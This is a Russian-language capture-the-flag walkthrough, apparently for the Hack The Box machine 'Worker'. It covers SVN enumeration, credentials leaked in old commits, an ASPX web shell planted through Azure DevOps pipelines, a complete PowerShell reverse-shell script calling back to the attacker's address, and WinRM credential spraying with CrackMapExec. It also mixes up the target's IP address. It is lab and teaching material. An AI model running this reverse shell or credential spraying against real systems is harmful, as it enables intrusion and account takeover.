Подключение к лаборатории осуществляется через VPN. Не рекомендуется подключаться со своего рабочего компьютера или с хоста, который имеет важные для вас данные, потому что вы находитесь в частной сети с людьми, которые что-то да знают об информационной безопасности.В этой статье разберем как захватить хост с помощью Azure DevOps.
Recon
Данная машина имеет IP адрес 10.10.10.192, который я добавляю в /etc/hosts.
10.10.10.203 worker.htb
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
![Как захватить хост с помощью Azure DevOps](https://cryptoworld.su/wp-content/uploads/2021/02/aa81f481779b3453ccf1c4883bf254a5.png)
И нам доступны веб сервер и служба SVN. Веб нам пока ничего предложить не может.
Давайте обратимся к службе svn. Subversion — это свободная централизованная система управления версиями. Давайте полцчим базовую информацию.
svn info svn://worker.htb
![Как захватить хост с помощью Azure DevOps](https://cryptoworld.su/wp-content/uploads/2021/02/612965656a7b5524faee732ba6063461.png)
И мы знаем базовую ветку, автора и что мы можем узнать последние пять изменений.
Entry Point
Посмотрим список файлов в данной ветке.
svn list svn://worker.htb
![Как захватить хост с помощью Azure DevOps](https://cryptoworld.su/wp-content/uploads/2021/02/f7f7b39e5374ed3f324393117fd2aeb5.png)
Имеем директорию и файл. Скачиваем все к себе на хост.
svn export svn://worker.htb/dimension.worker.htb/
![Как захватить хост с помощью Azure DevOps](https://cryptoworld.su/wp-content/uploads/2021/02/844fb9acc2572b7da730baa5267b40ab.png)
svn export svn://worker.htb/moved.txt
![Как захватить хост с помощью Azure DevOps](https://cryptoworld.su/wp-content/uploads/2021/02/021b608783727341cfc8fe8344d7e970.png)
И из последнего файла узнаем новый поддомен.
![И из последнего файла узнаем новый поддомен.](https://cryptoworld.su/wp-content/uploads/2021/02/abe766a61498803950b91d03af05e339.png)
Добавим его в /etc/hosts.
10.10.10.203 devops.worker.htb
Но там нас встречает HTTP аутентификация. Давайте посмотрим последние изменения. На втором шаге мы находим интересный файл, не встречавшийся ранее.
svn checkout -r 1 svn://worker.htb
![Но там нас встречает HTTP аутентификация](https://cryptoworld.su/wp-content/uploads/2021/02/14a218e98af7c7c8fe33d45a17dc5763.png)
svn checkout -r 2 svn://worker.htb
![Но там нас встречает HTTP аутентификация](https://cryptoworld.su/wp-content/uploads/2021/02/f28466cae7715adf392bf25feb907f7f.png)
Применим изменения, чтобы получить данный файл.
svn up -r 2 deploy.ps1
![Но там нас встречает HTTP аутентификация](https://cryptoworld.su/wp-content/uploads/2021/02/865a5b91c562352f3ae42da7fae1f5c4.png)
И в данном powershell скрипте обнаружим учетные данные.
![И в данном powershell скрипте обнаружим учетные данные.](https://cryptoworld.su/wp-content/uploads/2021/02/fc14ba616ea7a9b2911b2628483822b3.png)
С найденными учетными данными получается аутентифицироваться на сайте.
USER
Обратим внимание на репозиторий и то, что он содержит код.
![Обратим внимание на репозиторий и то, что он содержит код.](https://cryptoworld.su/wp-content/uploads/2021/02/968e7553650f840edbafcd728fb2eb5a.png)
Используем название репозитория как субдомен, занеся его в /etc/hosts.
10.10.10.203 spectral.worker.htb
И нас встречает сайт.
![USER](https://cryptoworld.su/wp-content/uploads/2021/02/cfadb3e2e506207b62d33411340a8c99.png)
Это вектор RCE. Давайте внесем изменения, добавив на сервере ASPX шелл. Создадим новую ветку, добавим файл, добавим задачу, и сделаем ветку основной.
![USER](https://cryptoworld.su/wp-content/uploads/2021/02/9d8d071677156557fc1ba1ab8ed3984f.png)
![USER](https://cryptoworld.su/wp-content/uploads/2021/02/feefc5eea2e09fad292e9112829c58db.png)
![USER](https://cryptoworld.su/wp-content/uploads/2021/02/84020d91cad663e841177a955e16d655.png)
![USER](https://cryptoworld.su/wp-content/uploads/2021/02/2b79f463017fcb3b92be304a1a936252.png)
![USER](https://cryptoworld.su/wp-content/uploads/2021/02/b4f35c28acf0943accab8c1094472854.png)
![USER](https://cryptoworld.su/wp-content/uploads/2021/02/17298d6f6d891a62c56d71d5a6e1ef50.png)
![](https://cryptoworld.su/wp-content/uploads/2021/02/df31f86e2f66d4c5ebae5bb6f61dd7f7.png)
![](https://cryptoworld.su/wp-content/uploads/2021/02/73010b70eb84563b306067a06d77b0bc.png)
![](https://cryptoworld.su/wp-content/uploads/2021/02/acbdcbdf3431b11227faddff1cbf8142.png)
![](https://cryptoworld.su/wp-content/uploads/2021/02/2b0f63705c3dd8ceb4f0a6be0354b9b1.png)
И после применения всех изменений, обратимся к нашему файлу.
![И после применения всех изменений, обратимся к нашему файлу.](https://cryptoworld.su/wp-content/uploads/2021/02/c5beb776a7d33111ad632c4b7f5e1381.png)
Давайте получим полноценный шелл. Для этого запустим листенер и выполним Powershell бэкконнект.
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.115',4321);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}; $client.Close()
![Как захватить хост с помощью Azure DevOps](https://cryptoworld.su/wp-content/uploads/2021/02/040a4ad4160b41290922171cc6a76ebf.png)
И получаем шелл.
![Как захватить хост с помощью Azure DevOps](https://cryptoworld.su/wp-content/uploads/2021/02/5ee0b4fe535c6bd72cbefe2aaaabd155.png)
Немного осмотревшись, находим директории с конфигурациями.
![Как захватить хост с помощью Azure DevOps](https://cryptoworld.su/wp-content/uploads/2021/02/936844240c6d501f1dcfa407adc137df.png)
![Как захватить хост с помощью Azure DevOps](https://cryptoworld.su/wp-content/uploads/2021/02/2ffe40727070c1708412774887de1e18.png)
И в файле passwd есть много пар логинов и паролей.
![И в файле passwd есть много пар логинов и паролей.](https://cryptoworld.su/wp-content/uploads/2021/02/a1c692b730f700568e9dd1929adc3998.png)
А по открытым портам определяем работающую службу WinRM.
![А по открытым портам определяем работающую службу WinRM.](https://cryptoworld.su/wp-content/uploads/2021/02/32d1e53d874a4d392c584d72ef6b03f1.png)
Давайте сделаем списки пользователей и паролей.
cat logpass.txt | tr -d ' ' | cut -f 1 -d '=' > user.txt
cat logpass.txt | tr -d ' ' | cut -f 2 -d '=' > pass.txt
А темеперь выполним подбор пар учетных данных с помощью CrackMapExec.
cme winrm -u user.txt -p pass.txt --no-bruteforce --continue-on-success worker.htb
![CrackMapExec](https://cryptoworld.su/wp-content/uploads/2021/02/ade59661caaebe51eb69985b44729d2d.png)
И как итог, мы находим учетные данные системного пользователя. Подключаемся и забираем флаг.
![Подключаемся и забираем флаг.](https://cryptoworld.su/wp-content/uploads/2021/02/3bd74673e73a74c7229faf3fa3db51db.png)
ROOT
С этими же учетными данными мы возвращаемся на наш сайт.
![ROOT](https://cryptoworld.su/wp-content/uploads/2021/02/0b043388d67810e30dfa13ebdbcce1f3.png)
Но в этот раз мы можем создать свой проект и выполнить произвольные команды через консоль. Так давайте сделаем это.
![ROOT](https://cryptoworld.su/wp-content/uploads/2021/02/10831bd20a6ca77522b3cf6a990f71e6.png)
![ROOT](https://cryptoworld.su/wp-content/uploads/2021/02/126da14411f360cb6cb41dc890aa147c.png)
![ROOT](https://cryptoworld.su/wp-content/uploads/2021/02/cc965d5ff43750bff245bd1e114cf0e8.png)
![ROOT](https://cryptoworld.su/wp-content/uploads/2021/02/d01062e326a70bf1e43321f61633b99e.png)
В данном файле мы убираем pool и в steps -> script пишем то, что должна выполнить система. К примеру, загрузить и выполнить прежний шелл.
![адрес,nmap,svn,ветка,файл,система,web](https://cryptoworld.su/wp-content/uploads/2021/02/8e7228fd16157de520e5508f27cfa05a.png)
![адрес,nmap,svn,ветка,файл,система,web](https://cryptoworld.su/wp-content/uploads/2021/02/5d6671fc1dbdfc1144b08598e3e2fe8f.png)
![адрес,nmap,svn,ветка,файл,система,web](https://cryptoworld.su/wp-content/uploads/2021/02/9aa3f471fdabba869feb7acfa95e6707.png)
И в окне листенера наблюдаем новое подключение, но теперь шелл с высокими привилегиями.
![адрес,nmap,svn,ветка,файл,система,web](https://cryptoworld.su/wp-content/uploads/2021/02/51c20bbbc57fa75456a2ccc030ff6e5e.png)
⋅
![адрес,nmap,svn,ветка,файл,система,web](https://cryptoworld.su/wp-content/uploads/2021/02/7229d1e3572d9dda6e4c2efcf45a7060.png)
Вся информация представлена только в образовательных целях. Автор этого документа не несет ответственности за любой ущерб, причиненный людям в результате использования знаний и методов, полученных при изучении этого документа.Как бы там ни было но все таки мы разобрали как захватить хост с помощью Azure DevOps.